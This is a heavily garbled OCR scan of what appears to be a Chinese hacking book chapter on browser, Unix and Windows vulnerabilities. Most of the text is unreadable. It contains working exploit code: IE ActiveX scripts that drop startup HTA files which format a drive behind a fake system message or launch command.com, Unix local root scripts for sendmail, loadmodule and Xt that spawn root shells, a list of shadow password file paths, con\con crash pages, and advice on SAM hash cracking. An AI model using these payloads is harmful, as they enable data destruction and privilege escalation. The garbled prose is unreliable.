HHRKE, XBARRRHA—
R 1A BB BN R i ) A G B ) ] B ST B RN
. SRR R TR B0 TR 55 i A i A 1R B S AT B AR R AE
RAFEAKSRE “T—3"HRAHEHEKE R,
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LR, KRBT URERA

FO 9 AIE A R ) S 304, T R R
IR B N R SR SE AR

RABmRE “T—8"#%

| L RB “hA BRI

BRENERE, InE 4 -28
ZERHERE o] DOR A
i Ha5I%BAH.SA.5A
A 4-27 H=F 217568, € F
PR — iR E,
B, R B WA TR
WEXHEE, @ 4 - 29, :
EZSHEER, T UK EL |
FREBEASE., BEX
LB+ B B+ BFFE By |
KX BHTHEE, £ “BERE
B ", Rl EES AR S |
KA A OBE, B 4-28
BRILZ Sh , ¥R 38 BT B8 b
e [ 5 3] 45 FE R
1, e WAL R A FRAT
—PREZHLUE, AR
e RT3 TR, RBIR
s s OB R S SR B RHEAE
E - R nE4-30,
HEZMEES, TR E
pre e e RN S e (Rl
B4-29 XHFHED, Kb it
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YR IRBAT AR BRAE
B R AE AR BT B 30, TR
fTIBA R BR X N BR Gk SR R4
MABRWmEE “T—#"%
H,%3] “HA4 B3RS
RENENE, Ik 4 -28
FEZHEAE H ] DO AR
B 9% B A H %A A
A 4-27 H =247 568, 3 AT 45 2 4F
BEEMET — iR E,
HEZYE B2FT—4" o
WM, KRB BT
WEXHEE, mE 4 - 29,
EZIEES , AT E
FREBELAEE., BEREX
LM+ B B+ BFEE H+
HXHBTHEE, £ BRE
B R A E AR N
KA A OFE, B 428
BRI Z Ah , R 38 BT 380 b

BEERME . FABFMHEER
B, 2SR

—REBZYUE, AR
| BERET TR, R K
OB R SR B RHEAE
" | wE4-30,

X EES, T E
cwaton ) w | || FHE RS BFENER
B 4-29 XHPRHEDL, HPaRE. it
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BRI E AT (150 1) 7.
HEe®HAEX (53123 1N ¥ H
BFEAISAN)MEEHF(0-
999999) ,

EEZYLUE, ARMRE
& TR, A TRET
ATER A iR SHERE, I
4-31,
R ERES , T AT B A

430
B SR ATIRE

7 A B R LS 2Z BT, R IR
] DAY 7 42 o B - 1 AT KD
B EMEERARE, FHATLU
REARFEBRGETE X XA
HRBAT R HATIE

—PIREBEZY)E, ARGRR
# ‘SR, B “RAAE
B XHERE, I 4 -32

& 4-31

RET LA BB R 099
BOCHARR, —ERBRTE R
txt B dic . FABRREE “B#
7%, RS E Ry iR g
# “FrEEdp s R,
RRFTEBN®TE %, 54
B S R B AR RAR , T
HEAGHBERLSBE, K
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BHLA 4% B FZESC (150 1)
HE®HAEX (53123 1) ¥H
BFs M) MEEHFEO-
999999) ,

HEZYLE, AR
i “T—5"#H4,2FXKRET
ATERY “HE IR X TEE , anE
4-31,

FERSHERE S , 7T LA B AR

B R B ST R

T A R 1R B S Z 8T, AR EE
A] PA X 7 # op 4 F B R AT KB
B E ML E R &R E, AL
REARRWRGETE X XA
HRBATREATIRE

—IREZY)E, ARRE
# R, “RAEAE
BT HEHE , G 4 -32

A 4-31

AT A BB R F R A
HXHRB, — IR EN
xt & dic . ARBET ‘R
R, 5 E VR A 1R 8 3
% “FEEd P R,
RIRFTEENETLS , EE
RIS i R ARAR , T
HFRXHHBERSBRK, R
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= . PASS2DIC

X & —FGET7E DOS T Wy F Sl /R34, B 7T LARIRHS /ete/
passwd H Y Username (FH /™
Z) KRR —XAX
#, XAEMHAERR? BA
HIRE N B SER R IR User-
name F[A), RER BT User-
name FLFE T X H I EG,

BT, BERRE
IN SRS T Y INT M 4-33
HZ%E, ERFEHABRFRER, WAEREE, BFE A3
Fi¥ete, mE4-33, '

A R A Rk B R AR AR AR T A W & A AT R, K AN
RAEIX e AR 6942 B F sk R A B 0, e R H B i R E e
EENER,LERAR!
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= . PASS2DIC

X & —FBATTE DOS T 1y F il /E 34, B 7T LA IR H% /et /
passwd ] Username (FF?
%) R R — XA
#, XAMFAERAR? BHA
BRE ANHBEH IR User-
name F[R], REB# T User-
name FRAE T X A EH .

BTN, ERR
IN CES TV IN riagE
BZ, BESREREMABRFRAR, MARREE, BFKA it
fiiei, mE4-33,

H A B A Rk E R AR AR T AR M & AT A, AN
RAL X 6948 B kAR B 69 e R A EH AR R RE
ERGER,EERAA!

(100 - xEamitR -
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BLE H ARG W2

5.13ARiRRE

5.1.1 JRiFERHEE

AR ERN AFIERRP aQ ’/
RERIRS Vi) 238 & H i 2 Q l)
W SR RRE . TR SRR
MEKXBWKESE. BNMFEELER /
B R E AR

ME-ITBFAEHER, FER &
ERERFHRABERTHIA, BEHA
R AXKEE, EHE,WREE W& TT
XERHRNER, FREFPHERNEASEERE, KREETTU
BN ER, ERMEF P IMAXE/NMY ‘R,

B, ANALERFLTREFBAEME ., ISR
FFAERRA BA R BEF AN .

BATHE A — LB F : AR B R 4 B 2 28 S BT AAT N SR PR & O 1R
1, R 5 BRERKBAREE L, TSR XXM 15 gis
ER R _E BT EAHL TCP /1P A58 BT A BE 4% M _E 3R184Efa] A 808 A
58,3 HRE HEAF BRI THE ML, TR P _E 4R B HI R BE X R

AT EA XTI RER R FER LU, IR A E AR
MR, BBBEE RVFEM R BB A MM SR .. BAXFE
PR/ “RACHEMA W7 E EER g FE,
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5. 1. 2 A RRTAA JLAME B

W= AN RRESFHEEN, TR, A B TR
IFRBWF I L e b, R Ea DERR = A E#e. T
HR—ELRES

P R L. 2%
_\#@ﬁﬁ - ﬁ
Z

P 2T s
0 B A
Yo
B R Z B AR
R PR 1
W, B
G i L 0 B
EERE N

o TERREERR R AR T, T malloc HE
new i 2038 [ — 25 B4 4T o

o R 1 P B PR R G PO (X AR 4 55— T,
B RB B RER) .

& W ATHEFTFRASCHE IR E 28 FUR— VA open() &iEH - 1,

o MERFRE fork RETFHBENGLMLES f FREWR
T T .

S EBREHMENEE

WRRTE KM L &% 8 SO S, R — N NEB LA AT K
AT, A MRRE Y T — N2 E K X, R 5 R EAIAX
4 PR BREE , R A O_TRUNC i A& O_EXCL 7 /tmp HFE T I
BXHE%, SZREEKRBATRMEREN LERAROTE, &

XAERT , MR- EEF BB XA TG, TR L
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FERZERAREMERL T ERFE /BN PRRE (BRI HERRM]
F/tmp BT X PURAE R SCH AT S E 8 , XHE B AT AR Z AR
RIPCFHIRE, A RE S — R S, gec BARMETRR , X
MR ERE R RN RF P EA R, ERITIARBRIFME
TR , b It FT AE 2L BB AN PRAR S B B

= HRIBINILE
MRAERANREFEANBERAIZLHHEL, REDHBA
TIER B BN, IRARME rpm AREE L — 2R EREEH,

HWARSERINEN, RIFRIEFFHMIRE 2R/ XREHA
e rpm AHRR, 2ERE LB TLZLRR.

(LN : 18]

MRZLBEOEE/N BT RALLEBSHEORWT., X4
RESEM, i, ROEFRE BT, AR LGRS T THEAR
HEF, MERERNE, RECHEEEESME. MRRFFHAR
RS PAE AR, 2FABEETIR, RBAVRES THENZ
I —1

B, M4 IR B 2B R setuid BFER 2, setuid B WNITAE
A RRBEZE R —HET R, XHRRFF, BT BER,
AT SPMEMHREA . MERSIHEF RMAME socket K5
BA (WHTRAIHE). |

qmail B/NYELEBEONEIF, UL qmail R/M—F5 (+217
MBRF)RU “root” HFAREBITH, R T HERLFKK qmail P
BE DB 32 F AU R FE 24T o

£ qmail NEB, E w33 MR BB E PER /MR, K2
HERBAAXF AN RERBRAREFFR, XRF—IREED
NBIF R BRI EROIESE /N,

WIBTTE B ZHPEFHRE, IRAKT KPEMRKPLIERZ
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MEeEO, :

WIRARE Internet Bi K 35 , 4R B 199 4% 0 R 4 0 22 1|1 ) &2 2 8 1 g
BF) 1 BHLEE,

AN, BEARAEER HIML £ M AR ATEE K JavaScript A th A %
SEHOMZER; JavaScript WAEBRHRA L LD L HTML BHE X
H&E %,

L. Z2ERRBHIEF

T EEEHRBENBRFECINNESZMAS ] A RRFLE,
AT BT
RERVIE LT &
wefl.
BSD &G+
mail. local %
#: /bin/mail
MERE XA
JRH

wn R AR AR
KA TR,
YRXBNA
BHMER.MH
REFHIMERAERBEEEAERENT,

N HFNREBY

R % 2 1) R GEER AT AR O B34 - B a0, F A Linux R5E
EABRBHEME R R, "W PR T R BT L
BorR—LiE I “REER FTHM. ERXRERERRLRMAE
ARMAES MM Z &L TREFHRFEER R,

DAINGE A REWFZAKFEERR, MREFETEBHEE
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i, RIF AR A B A (UUF B BRI BEE OF B RBERR) , /RIRA
AR ENR AL Unix # shell .

T Mirabilis ICQ Xf HF MK A HATFHEE, BEAXRAES
Ho

155 — 5T , tep_wrappers {5 fE M 18] DNS ZHB BIML R, R
J5 3 | shell £bBRHE B AL 455055, TE4#E A Netscape Communicator LA
squid AR B %, XIET R —WRP A/ FTP OB A URL,
JavaScript T2 ¥ FIELM A web AR %525 AEE BIiX 4 URL .

L WBRHER

AMEEZH B THAERE M, Bk if - else F swith - case 15 ]
RAEK B . R R BE & BT AAGE AT A B RS0 3, ERA AT
BB AR RIREEZZE LBHRERN S I—W, WREH
RIEA], B MEBEANFEFTH L, REE R BRI
B A— IR X ERERAE L2 Wi, G RS E RN,

BEIERFH else FIEF switch 1BA] A default AFHRMLITR
fail — closed ), gcc — pg —a 2R FF =4 —> bb. out 304 Fk#H By
i ERBREFHITAE S XHBEPITE T . ATLLUA X SRR
IEH) TP $E468 R 55 Bk R R AR TR

INREEIR

HZANEBRALBARERRE, WRKEHARBIURE
DENFT LA 3, R AP B ESBREMHEIR, MRX A KB
ZEHFDT , MEEREZLRTH . Y4<% 3Com ARTHHEHRE
—MMREFHIBIF o BT 2EBE CoreBuilder 1 SuperStack II hub #{ %
RAREREROS, MXAOLSRARLHEMAFWESFHWR
BH,
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5.1.3 LA REFERE
— R, FERI 4% E H A W RIA S B LT X gk
_sgﬁﬁ ﬁﬁiﬁ

RERMA
Y NGRS
TENERFS
EIW . At
— MR/ 4
REE R E
REERBSE
BE 2R

il , B
BARE A K4T
BibREESTED
idiop & =]
PostScript B TR E. XMEBERARZLEHFBNERT; WRAEA
AE,E—SBARESB NIRRT, (B2 — BRH TR MBI AR
HAEBK S, WA AR R E WA EREE, XK AT 883
AR L BRI, fls AT LA a1 4R & 3% RE M BR AR BT AR Uik s B il R BT A 3C
142t A BT AT B b B SRS

XA KH 4> Unix TCP/IP R ESHHEMBIE—TREMNSE L
KN AEMERME TR R _ETF R B, W8N FZEX N A 10 2490 B
BREZEMNFEP,

Xt Sendmail BT RAMRIEHRE. HITCELHE, E—H
RRERFARIE,

BE# S, YREESENEEAGANEZSH, MRER
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XHE IS AT TR E R B R KA

— A RIF BT RRR gets ) IRIRZEZEHIBA S gets () BRI,
TR IEFRA LR BUERARB S E X, X5, FEB T EH.
XX AN TR R R T R R N B R R i B B B LR SR
RBEHR X, RIEEFHF

B, SRFERK B EFENBEERN R, gets() BEEZE PR %
H, AT R P REBUE M, MRERETENSR,BE, FRETE
BRI L HE, HREERE BRI,

ZEREHRE

HHRERABA—NFRE I AR TRADF R, R
REZP XA, AUT—SRrati R, TRIIEZ LR
L

S EREHEERADZENKX;

& \— P REE P X R B — /DR X 5

& St A R 0 XA R

IR ARAER, MAR A EZ2RR ,BHREENZL2RBE,
XA A RRFE KB 43 B Unix SRR 5 R B — 2 B R
HRAR R, AR AT HIR [ U R A AT ARt 7 e R AR AR B A AR P . X
HRERLAXMRRER AR, BT EHILED A THRR
R H T LR , A BB TR A M Ty R b KA T AR K 2 TR
TEFHRAE AR S ML B A%

S RFELRSHRR

XMW EFE T Unix IERSE (JLEFE Internet Fi31T BB
TCP/IP WH#RER G ) MM BRGS0 o HIM, RERBUE iR XA
R, (B, RN ZE L A BT 4 IR %5 B WA Fm i
BARER , X2V, Bt H B X EFBEASEIRBERFB R
BAHIALR , AT R R EL T E -
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TR M WIEA RS BT, g RS Bd sy
LT AT A S X FRERAF . XMBRWIEHERY XM BUG
R, TTRFMAT WWW KRBT, #0, X Netscape Naviga-
tor WP ABTESE (AIE, ZAXHERA, MERERBILERHE
E R EMET ), i Java B Java Script , BER] LA IR BT
FFE i«

1 BE-MEKBRFLNBRIFERARBT, i8R ERAY
WY ARASH,

2 RIS H Netscape Navigator , PR KRE O, 81
B OMEREEDARIWRSE S, A RFB/EEANZIT Java BE
MEF,

AE 40 B, BRI BAKBNETRE (FREZHAFNL
BB ARERLAF XA, REW, AR U AEF B . X&F
RPN E %R %5 Bt o

— MRS AR K RIEL RS BE (MMAFE Wndows 95 iR
), 24 AEH CHARGEN X, CHARGEN BRETZERN 19 1Y
% . EXEATRRFERF =4S (character generator , 44 FHLH I
mk), FEEHRANBRFSHAESHRETELH DB ZHRELE
SERAAER) TCP/ 1P BHZRISSAFEMENKR . KL, EidH
HEZUIER 19w H, ZEH TSI AERRS MRS, At
PlLas.

VY., 5t ¥ 2 3t A R 3 7 3 i B R

AP RTINS ARSI A . Aub P R S5 f
TR Shell PRI ISP AP . IRAMA E - mail Hihk HiX K
S A Shell iiial , AR 4 “A " AP AT RERET B2/ XFER T,

“AH I8 MR A PR P AR, T AE AL E

Xt F sendmail i}, 24 sendmail j5 BIAF , E—BERBEHP K

B4y, AR RA root HHUZ SHFILEY" sendmail F2FF, HAhA HEISR
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BoH, REFRREL
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MR P WA, B R R XN, AT, 4% CERT FiHALH)
Sendmail Daemon Mode Vulnerability : “fRiB#&, B F—MRBBHEIR,
sendmail ZEFIBEER T AT AA—Fh S ik AR W& . X5
BG4 B -8R AT DLEE BB T S5 35 sendmail 73 5b , 75
8.7 fiAH, sendmail B —4> SIGHUP (55 R & EE, E@IHEA
exec (2)RGHEAEFIATACKREFFFHERIE, EFPITIER root
R, #EH sendmail 355, 7 7] LI A root £ fR ik sendmail
BITEERNEF
IBARA ) sendmail ZEZ WX FFH — Mk (RBETBRPE
H—ERTRWX/ERHNE) 7] LAZE sendmail H #0758 HH
WHEWX AT RGE X LA d EHELI X Fi# g syslog
B sendlnail {5~ — A )RR (55— G X i i RV , 1
fo K Z %0 B KRG N ARTF H R —EEETIE. AR KN
BHEROESIBREANTE, —HXFENERPEIA CREHE
FRZEWX (TRASABBEMEMXES), ZWXEHEREX
xR S “ SR A S X AEAL B B B BRI A B &
WXE, RAEZWRXE Y. XATRERE TATEMERELELAR
—BERN, HERETRBX KD, UETERT — AL B 60
¥aE",
. AP REEREE R RE

XEW TR EMEBR RN —FRT . XEWREERE THRE
MASEEIREARERN . RENREHR (HRERBRE
A RTERR 3% b BB TR , B 5 BB AR A B SO DU 3 42
Ao XFIIFLEMS EEISTHOK, EAEIRLTE Web IRF 2R A

S
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5.2 IE MY E KR

5.2.1 IES YjiR] FTP 35y A: i ik

Eid IE 5. X SRR FTP ¥ sbt , A — AR H R H R - FH A
FAERE R L SCA T RNE X FFHER RiERF . HAKKA
BWF:.

& X R IE

\Winnt \Profiles \[ Username ] \History \History. IE5 \index. dat and

\ Winnt \Profiles \ [ Username ] \ History \ History. [E5 \MSHist <date>
... \index. dat

&+ R IE

\Winnt \Profiles \ [ Username | \Cookies \index. dat

BIANBE AT , \ Winnt \ Profiles \ [ Username ] \ History H 3%, R 5%
HAHAMMBERFTBRBAFAZ2EEAAR . R, index. bat Al A
AR ANER ] LA/ B , B Everyone Full Control Permissions o K%

“ Bypass Traverse Checking "B FRERINERA T — M AHK , (T—
AP ER AT LA R EAL, 3R B Sb— A R B index. dat X

7T “Bypass Traverse Checking ~, 3 E.Jil8) %A — P 8304,
MEB RPN AX L. B, ZEERFENEE “ administrator” 1k
51 index. bat X, 21T FFIL4T:

find “//” <\winnt\profiles \ administrator \ history \ history. ie5 \in-
dex. dat

B

find “//” <\winnt \profiles \administrator \Cookies \index. dat

A BHE i -

1. BRT administrators 5t , H Al A#R# “ Bypass Traverse Check-
ing TEE,
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2. BEAHP K Profile F /Y H FMICHRE RS, R AKF
B A # (B A 1F administrator) T5 R

3. MAFRIERPTUSEBSEREL M,

4, HE:A FIP ZPWRER FTP e, MAEMIE , FEL |,
Al URL ¥ DR FEHE LI RERBEAZ KA

5.2.2 IE RSl scoir itk 1k

IE A5 AT AR AL A s B 4%, 5 B 246 — A 7R B — T, X Ff
s RIEE AR, TUEA RENER TEAC IS LR,
ATHEMRE GER,XERFSE For Spanish Windows 98 ,E8
LB SRR IR T BT, BASERS), )
<object id = “ser” classid= “ clsid: 06290BDS5 -48AA - 11D2
- 8432 - 006008C3FBFC”>
</object>
<SCRIPT>

scr. Reset();

scr. Path = “ C: \\windows \ \ Men? inicio \ \ Programas \ \ Inicio \ \ au-
tomat. hta”;
scr. Doc = “ <object id = wsh’ classid =’ clsid: F935DC22 - 1CFO
-11D0 - ADB9 - 00C04FD58A0B’ >
</ object>
<SCRIPT> wsh. Run(’ start /m format a: /q /autotest /u’);
alert(’ IMPORTANT : Windows is configuring the system. Pleuse do
not interrupt this process. ’); </ “+”SCRIPT> ”;
scr. write(); A
XARBREINT TR :
1 A start /m (Spanish Win98 ffiA), XMNERF AB/MER TR
BT, URAPAREER,
2. ASH /autotest , BEFIRESTER NS L A B1E1T For
CEREAREGR - 111)
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mat. com

3. BEEMAA R message &5 UFIR, IMPORTANT : Windows
is configuring the system. Please do not interrupt this process,” (%
{58 : Windows IEZERERSE, BABEPHMSE, )

X AR R B/ MEE O B Format /5 8. MR, EHEHEIX
MEFTESERI.

R R, XA AR BRI

5.2.3 IE 5.0 ActiveX E KB

XA EZSRR AcriveX #E, EATRIEMEE A #3014
REA L IE PSRRI B — M EFEEN A, XA T L
K HTML N 2 e SO o B4 AT $0AT 72 FR AN AN FE Windows 95 2R 98 1
BHLRTT IR L4 T KB 3, B S dT.

BT

1 BELEFHEERN “ High”

2 #8 Active Scripting % 5wk

3 48 ActiveX Controls F1 plug —ins #BZ5 %M

XA AT LLA T T AR R

<object id = “ser” classid = “ clsid: 06290BD5 — 48AA - 11D2
- 8432 — 006008C3FBFC”>

</ object>

<SCRIPT>

scr. Reset();

scr. Path = “ C: \\ windows\\ Start Menu\\ Programs\\ StartUp\\
guninski. hta”;

scr. Doc = “ <object id =’ wsh’ classid =’ clsid: F935DC22 - 1CFO
- 11DO0 - ADB9 - 00C04FD58A0B’ >

</ object>
<SCRIPT>alert( * Written by Georgi Guninski http: //www. nat
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.bg/ ~joro’);
wsh. Run(’ ¢: \\command. com’ );
</ “+7SCRIPT> ”;
scr. write();
</SCRIPT>
</ object>

5.2.4 IE Ef& URL EEmRIHE

BRI A P T R SRR R LA b R R S
£ X} Microsoft Internet Explorer HiX—IR{H , MK E L KM T H N A
BHEFF .
FEN Y —~ Web IR 528 IR, 40 RAER—8 0 9 — ¥ i D04
B 5 — ¥k R TE R AL 2 e BT T oA 2 2k A R U TR R (7R
Hn—2e 2 TE PRI REVS I 20D o
BR,—1 Web 3 AR BESAT FF — B P m A S0, R G
FRE T % & BT, TS R, 2 7 S s S0/ P B B
EN WA E &R
0% e 3 O T ) T AR A ) TR P R 4 2, A R B R
WREHEATUERRTETEN LR SUHNE . RERZMEAKE
B HAGE (SR X4 Mg, Bt LA E 2N
WAATT SRR,
R T R E 240 T 5/ MBI AR , #h T2 5 W ZE 5K
BT HX &2,

5.3 Unix . Linux P 8EE

Unix,Linux 2ERBIEH ZH—FMERERS, ARERL L
B R R LB B, AR, — R A TR R AR T LUGE g A b O kR
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R #h
5.3. 1 wREitE 0 A8 3

A4 & Unix Z2KBHAIZL. EMNTAOLELNBEMHREE
KEH, TEFIHE T Unix $ RGO 47 AR S

AIX 3 /etc/security/passwd !

B /tcb/auth/files/ <first letter # of username> / <username>

A/UX 3.0s /tcb/files/auth/?/ *

BSD4. 3 - Reno /etc/master. passwd *

ConverxOS 10 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP -IX /etc/shadow x

HP - UX /. secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwdl. dirl. pag] *

SCO Unix # .2.x /tcb/auth/files/ <first letter *

Of username> / <username>

SunOS 4.1 +c2 /etc/security/passwd. ad junct # # username

SunOS 5.0 /etc/shadow

<optional NIS + private secure maps/tables/whatever>

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/ * database

Ultrix 4 /tec/auth[. dirl. pag] *

UNICOS /etc/udb *

5.3.2 A[LL3KTS root BUPRAGIRT

@ & it sendmail BLAF root AR
B A8 it sendmail BUF8 root ALFR , B N sendmail ®] LAF| F - oM
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SREREME RS

1 B33 ¥ sunsendmailcp

# ! /bin/sh

#

# sunsendmailcp from to

if [ $# -ne 2 }; then

echo usage: ° basename $ 0 ° from to

exit 1

fi

rm —f{ /usr/tmp/dead. letter

if [ —-f /usr/tmp/dead. letter ]; then

echo sorry, cant continue - /usr/tmp/dead. letter exists
fi

if[! -r$ 1 1]; then

echo $ 1 doesnt exist or is unreadable

exit 1

.

In -s $ 2 /usr/tmp/dead. letter

/usr/lib/sendmail —-L0 * —oM # anything’ $ USER < § 1
rm /usr/tmp/dead. letter

exit 0

2. MBXABE

% . /sunsendmailcp sourcefile targetfile

XEHRESRE B AR SC argetfile 2 BARINEEE L o
@ #] Al loadmodule 3£ B root A FR 5% 41

# ! /bin/csh
set path = (. $ path )
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cat > ld < < EOF

/bin/sh

EOF

chmod a +x Id

loadmodule sd. o evqgload

@ #] /Al loadmodule 3 JX root A FR 5% 41
% cat > ~ /bin/bin

# ! /bin/sh
sh -i
‘D

% chmod 755 ~ /bin/bin
% setenv IFS /
% cd ~ /bin
% / usr/ openwin/bin/loadmodule
/sys/sund4c/OBJ/evqmod - sundc. o /etc/openwin/modules/
evqload
# whoami
root
@ /£ SunOS 4.1 ¥4 A X11R4 3K B root AR
% mkdir /tmp/xyzzy
% cd /tmp/xyzzy
% cat > Initialize.c < < EOF
XtApplnitialize() { setuid(0);
execl( “/bin/sh”, “sh”,0);}
XtAppSetFallbackResources() {}
_XtDisplaylInitialize() {}
EOF
% ar x /usr/lib/1ibXt. a
% cc -c -—pic Initialize. c
(116 - wEamis -
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% ld * .o

% mkdir lib lib/X

% mv a.out lib/X/libXt. so.4. 1
% cd lib/X

% xterm

# whoami

root

5.4 Windows & P iiRH

5.4.1 Windows 9X F 053 DDOS K iifty¥aiH

X~ WA F Windows
X BIERL T, 2EMF Out-
look , ¥} Windows NT F1 Win- $
dows 2000 Bt E W,

A 5w P E S A
— N8 AR R S IR B R A B
=5 (in—/E#K URL) %
fff Windows 98 it . MMEMTiX
BRI, Windows REZLRIHWEL TR, HIBRAEEH
BE. X4 MS Windows BYER G AT — 10 “c: \[device] \[device]”
XEEMNBEN, RESHE HBARBBEMMMERGHBA 5 MK
£ UK ZhF2 R AT g A B SR Uk i« CON, NUL , AUX , CLOCK $ Fl
CONFIG $ . HAbIKZFFR LPT[x]: , COM[x]: F1PRN #A&iHE
B

2/l CON\NUL , NUL\CON , AUX\NUL ---++- KA X B Win-
dows ERRAE R

THEEKBRFHES ,ZE 10. SYS FA MR,
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CLOCK $ - System clock

CON - Console; combination of keyboard and screen to handle
input and output

AUX or COM1 - First serial communicationport

. COMn - Second , Third ,::* communicationport

LPT1 or PRN - First parallel port

NUL - Dummy port, or the “null device” which we all know
under Linux as /dev/mnull,

CONFIG $ - Unknown

FAT32/VFAT $iH:

Windows 95/98 1 Windows NT X ¥ VFAT X &R % ( “Kx4
27 XHFRGE) HAR LR, VFAT HAR—INFHXHRE, B
B R —B ) FAT —REEIBEREHW MR, B L0 KEE, VFAT
HETE FAT BRPERR— e S SRR BT,

Xt VFAT R, B EENINERBFHR XA S, BRIERRE
SEAEEER FAT T, BTG SUHH TR “8+3 "X, H
VFAT 54T B K PSR R X4 o

—sdy “NUL"#1 “ CON "R B, T RES F B FAT32/
VFAT FRFHAE, RARNEREREHR

Bt , 2438 5 A AT B A2 J R 1R Al FAT32/ VFAT AR fF B, 7R AT
REE 2 {5 — L A b sl AR 1 L AR P B 2 o

XA AT L@ A DAF 80 R i«

1 \f£ HTML T i) B8 AR IRAF h Ba s — 1~ 48 1) [ drive]: \con\con
B [drivel: \nul\nul KB KE, HEF X HTML R AR, &6 Win-
dows 98 filt, (#E MS outlook Fl Eudora Pro 4.2 H', Netscape Mes-
senger N2 )

<HTML>

<BODY>

<A HREF = “c: \con\con”> crashing IE </A>
(118 - mEamir -
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<! — = or nul\nul , clock $ \clock$ —
<! = - or aux\aux , config$ \config$ —
</BODY>
</HTML>

2 JfE WarFTP T HIAR &2 , {8 GET /con/com B, GET /nul
/nul, 0] LA ERIE RGE AR H ALY FTP MRS R R 20K, i
A EREA,

3 &% [HKEY_LOCAL MACHINE\ Software\ CLASSES\ exefile\
shell \open] 5B 7 :

c: \con\con “% 17 % *

& c: \nul\nul “% 17 % *

HERERGEH B

4 BlE—/ HTML B @, Bl FF -
<HTML>
<BODY>
<IMG SRC= “c: \con\con ">
<! — — or nul\nul , clock $ \clock$ —
<! — - or aux\aux , config$ \config$ —
</BODY>
</HTML>

FEWHR R, 7E Netscape M W2 P AFEXA A, HAER
PR BR AR B , X BR A2 B8 B EOH file: // /D1 /c: \ nul\ nul , b
H7E URL H4i A c: \nul\nul B}, iR ARHF file: // /DI /, Netscape (Fl
BIERR) SEBH LN T,

XX, AT -2 B2 &M THMMHHT B

Microsoft Windows 98 : Technocraft patch Decon

http: / /www. technocraft. co. jp/download /Decon02e. exe

Microsoft Windows 95 : Technocraft patch Decon

http: / /www. technocraft. co. jp/download /Decon02e. exe
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5.4.2 MS Exchange Server /*H#H4/IR 55 IR

XA E 2 IR %5 BGE B A R IR ENREFIRPEN (N
BRI )R Btk , ok REH —A> SMTP R % a8 hk , B T2 P
HIRZDRREEL B FHME N * (N+1) K, W E B FAEA
A] BE{# Microsoft Exchange Server {5 Ik Wi AR %5 o

R Do o T BB R 18 07 Bl O A R [B1 2 s ik 249 D R iR 44 3
ARG HR Ak , T BB 45 3 o A B B T R AR s A
W B2 B, HR A4 3F 161 B A AR B R B AR, BN 2RA 1,000 B
- Huht , SO HR 4 AR 45 5 5L FE 1,001,000 e FHEAE; GRA 10 TANE
stk , WAL 22 14 % > 10 , 000 , 100 , 000 ! TIHC &
TERENBEEERB R 1! '

A—FA BRI BE T ERZ X W, B 2 — 5 BRAR 55 A% 5
KB N BB FHRAERE, 55— & BRI 55 2 R N* B850 B T iR
17!

FEXTIX R, AT DR B LA T MR 21T VR b -

1 AnRBRA R GE 324 SMTP 18 83k I8 , ) 618 AH b 1 % 233 8
N

2 HRATHTRH#TE2ITIE:

Aspeon Software’s ExchangePlus

<http: / /www. aspeonsoftware. com/ aspeon_exchangeplus. asp>
0OSK (Outlook Survival Kit)

<http: / /osknow. bizland. com/about. htm>
Watch Your Back

<http: / /www. grinningshark. com/>

5.4.3 A[HELik SAM BoE it & i e

Windows NT Bk AR EEEMMEIREFHT —RILL
RRESBFE. NTHRAFFEEMMEOSRET NT Registry
(120 - mEamit® -
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SAM e, B4k 48 B (Security
Accounts Management) {48 FE , fn %% O
SRR SEER. B, R RSA
MD4 RGExt OA#ITME . FH4HN
EAARBOBRZEXRENIRE, AR
AR “VERL |, teaningg 04 65 e
FEEE, 458, NT 04K Unix 04
eSS, BASZ B — AR RFHEY
Biti. HTAXAEZE5 NT OSH XK
. 4[], Microsoft B2 7E NT 45 5. 0 iR
o O A m— AR, XE#HR
HREZERERBEN, EREH
BFOT , — B LLF| X ik
B E— A8 £ 4 Domain Administrator
P B O 4, 3 B X NT BT E EVLETBRE S, AT ATFIZ M
WIER TR, #04A 7l 58 30 SAM B8 e #%

—REWAEE (SAM) BIEETUBHEUTHAREEH : Admin-
istrator 1, Administrator AR ER R, FHRER, RS FIRE
R,UBRREAEEMNENHPAR,

SAM B HEFEH — &0 ¥ N BB p s TR A, kMo
4. NT X P #1730 EIER, HEEE2IMm% RSA KKE, &
XMBELT , EZRALEMSHTAERBUILHATOSL, BEHFRHE
SAM 4 PE )t RE sl i 1 4 B9 T R A PWDump # NTCrack » ZLFr |,
PWDump MI{EE A 7 — K4 PWAudit , & AT PABREE 1 PWDump
KRB R RTINS

XFF XA, B BCR BT #i :

& 4% PRl Administrator 2H 1 £ £ 2H ik 7 0 B R BE RS o IngE Xt
X ek P BRER , JUH 2 Administrator T P % 5% (Logon ) 2 AN 84
(Logoff) K, XF SAM HEAT i AE (a7 A B sk 28 A Xt oA B 1 18 Lk A7
CEEARER - 121)
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Hit, AR ERE 1 EE 4 Administrator , 5 EFHEE, 4]
ICE MR GE PR B R BB X AR

€ 7 Administrator ik PRI BT, BARFT LA IE B E XA M 4
Mk P #T RS, XMEETUBRR—RIINELERR, A REE
R MR RERQIBIFKRKF . RAEEHERFEHITRHRT S8 b
MR P M, RGEH . FTA A Administrator FIS B3 45
U K P 48 X7 R BB BT Web , BT B Btk P RBER A User Bi#H Power
User 4 9HLRR

CXANSHBERERLMMB L EZHEMMO S, fn,
PASSPROP(Windows NT Resource Kit $££t) , ScanNT(—4 ik 04
BN TAERGE) . FHMRNOSASEHM . Service Pack 3 A
LAins& NT 04, —/MIsge 040 a8 8 KNEF8 505, U RS
B . ERAZRESHRUEYLE, 4 R (Token Card) , FIRHLE
R ZLMI TR, BT LB R,

Z,. BRERBEEH (Emergency Repair Disk - ERD)ZEEH
B, A SAM BIREHHEBIPI% system % \repair\sam o

HEHREMRRRE T , B MAMNEZXHERE “B€” (Read) WM
#L, Administrator IRGEAE G EA “T2E4)” (Full Control) HIBLF],
Power User H “B{ZE” (Change) HIALFl. SAM BIBEM— &0
M aB s o6 T B A AR BEAM 04, NT ZEXTH P 347 By BiEsT,
HEEABIINE RSA WK, EXMELT , RERALEMHATHER
BRI O4, GBS SAM BiEEFEBi O S M T EA PW-
Dump F1 NTCrack ,

BUCRBLL THEHEEBIR% system % \repair\sam .

/K ERD EH G, XA AT BE, J=Hs$ 8% 2% S0 2
WA, ARRA AP S E X R R MR, BiFRE
BT R, AE L Administrator U [ XM HAH] , MR TBEEFH X
